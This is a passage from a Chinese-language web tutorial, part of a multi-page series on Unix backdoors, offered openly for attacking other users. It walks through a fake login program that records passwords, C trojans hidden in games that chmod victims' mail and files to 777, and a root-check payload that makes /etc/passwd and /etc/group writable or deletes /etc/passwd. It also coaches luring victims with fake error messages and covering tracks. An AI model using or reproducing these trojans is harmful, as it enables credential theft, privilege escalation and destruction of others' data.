RSS
热门关键字:  时间 autorun AVG key 百度
当前位置 :| 首页 > 网络安全 > 后门技术 >

unix后门初级和高级知识

来源: 作者: 时间:2006-12-18 21:02:52 点击:

好了,完成上述工作并调试,使得它看上去就象你的系统的登录过程.用下列两行来编译'horse.c': (不要打' %'s, 那是一种提示符)

% cc horse.c -lcurses -ltermcap

% mv a.out horse

现在你有了这个能工作的horse程序. 运行一下,如果它看上去不象系统的登录过程,你得重新编辑horse.c并重新编译.当你准备好运行该程序时,你应先建立一个新文件如'trap'或其它名字. 'trap' 应包含下列两行命令:horse (这条运行你的程序)

login (这条运行真正的登录程序)

执行 'trap' 输入:

% source trap (不要打 %)

然后你就可以离开终端,等待...

等你运行这程序几次后,检查一下文档'stuff'(或其他你所指定的文档).它看上去是这样:

user john has password secret

user mary has password smegmaetc.

记录口令,并删除该文档(如果系统管理员看到,那就大事不妙).

注意 - 为取得最好效果,终端应设置成无用户暂停模式--这样一来你的horse程序才不会空转在连续几小时无人使用的终端上.

下一个步骤是如何运作在远程系统上,如你以侵入的Michigan的VAX,或Dartmouth的UNIX系统或其他的系统. 不过这需要一些'C'语言的知识.那些并不适合UNIX的初学者.

步骤二:阅读任何人的文档

当你运行程序,这其实是一个建立运作并让那程序干它所能干的事,如删除你指定目录下的文档或建立一个有效的能让任何人阅读的文档.当人们在UNIX 系统上保存以阅读的邮件,邮件以文档的形式被保存在他们的主目录下的 mbox这些文档通常阅读起来很有意思,但通常只是文档的所有者能阅读并非所有人都有这权利.这里有一个小程序能解开(也就是说 chmod 777, 或让系统上的任何人都能读,写,执行)那个运行此程序

的人的 mbox 中的文档:

----- Code Begins Here -----

#include <pwd.h>

struct passwd *getpwnam(name);

struct passwd *p;

char buf[255];

main()

{

p = getpwnam(getlogin()); 

sprintf(buf,"%s/%s",p->pw_dir,"mbox");

if ( access(buf,0) > -1 ) {

sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");

system(buf);

}

}

----- Code Ends Here -----

问题在于如何让我的目标运行在我的目录下的这个程序?

如果你所在的系统有public-messages (在4.xbsd的系统上, 输入'msgs')你就能在那儿发表你的程序.将上述代码写入另一个程序中,找一个有用的或一个游戏程序(通常能在 UNIX WORLD 一类杂志中找到),修该它们,使它们能先完成上述任务然后再完成本来任务.如果你有一个叫tic-tac-toe的程序并且你已经修改了它,让它来解开用户的mbox中的文档在让他们运行tic-tac-toe之前,你得宣扬 "我有一个新的tic-tac-toe程序,你们都该试试.它就在我的目录下."或者别的什么的.如果你不想通过公共通告告诉所有人,那么就通过邮件发给那些你想捕捉的人.如果你不能找到一个真正的程序来修改,就用上面的程序并在两个'}'之间加这么一行,在程序的末尾加上:

printf("Error opening tic-tac-toe data file. Sorry! ");

当该程序运行时,它就会显示上面那条错误的信息. 用户会想"嘿,那家伙连一个简单的 tic-tac-toe 程序都不会写."其实真正被捉弄的人是他自己,你现在能阅读他的邮件了.

如果在用户的目录下有一个指定的文件想看 (比如叫 "secret"),你只要把下面的程序一起发给用户:

main()

{

if ( access("secret",0) > -1 ) system("chmod 777 secret");

}

然后表现得象 Joe Loser并告诉他: "我写了一个叫'超级星球大战'的程序,你想试试吗?"你应该充分发挥你的想象力.想出一些指令让那些人执行,并把它们以C语言程序的形式放在系统中.然后引诱那些人来运行你的程序.这儿有个非常巧妙地利用上述技巧的方法:

步骤三:成为超级用户

写一个程序让别人运行.在程序中加入这行:

if ( !strcmp(getlogin(),"root") ) system("whatever you want");

这是为检查root是否在运行你的程序. 如果是,你就能让他执行任何你想执行的shell命令你能让他执行下列命令:

"chmod 666 /etc/passwd"

/etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常所有的用户

都能读它(口令已被编码), 但是只有 root 能改写它.如果你以前没有看过,你得好好看看它的格式. 这条命令能让你往该文档中写东西. 也就是说为你和你的朋友建立不受限制的帐户.

"chmod 666 /etc/group"

通过把你加入到高权限的组中, 你能留很多后门.

"chmod 666 /usr/lib/uucp/L.sys"

如果在uucp网上,找一下系统中的着个文档. 它包含有连到网上其他系统的拨号联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让你解开该文档的程序.

"rm /etc/passwd"

如果你能取得 root 的权限,运行着条命令, 系统的passwd 文档就会被移走,系统会被停下而且在短期内不能恢复.这样做回造成巨大的损失.

如果你准备将特洛伊木马程序添加到你的系统中,你应遵守几条规则.如果是为了不可告人的目的(如解开用户的mbox或删除他的所有文件或其他什么的) 这个程序不可能是一个能让别人运行多次的程序,因为一旦人们发现他们的文件都已公开,问题的根源就很容易被发现.如果是以一个'测试'程序为目的(如你正在写的一个游戏程序),你能通过邮件要求不同的人来运行或和他们讨论.正如我所说,这个'测试'程序当完成任务时能显示假的错误信息,你就可以告诉那人" 唔,我想它应改进", 等到他们离开,你就能读任何你解开的文档了.如果你的特洛伊木马程序只是为用来找到特殊的用户,如root或其他的拥有很高权限的用户,你可以将代码加入到系统中那些用户使用频率比较高的程序中. 你的修改会潜伏着直到他运行那程序. 如果你不能找到能让你'星际旅行'的源程序或其他的C语言程序,你只要学了C语言并从pascal中变换过一些来. 学习C语言并没有什么损失,因为它是一种非常了不起的语言.我们已经看到它能在UNIX系统上所能干的.一旦你抓到 root (也就是说你已经可以修改 /etc/passwd 文档) 从你的特洛伊木马程序中删除伪造用的代码,这样一来你就永远不会被抓了.

上一页 1 2 3 4 5 6 下一页
最新评论共有 位网友发表了评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
验证码:
匿名?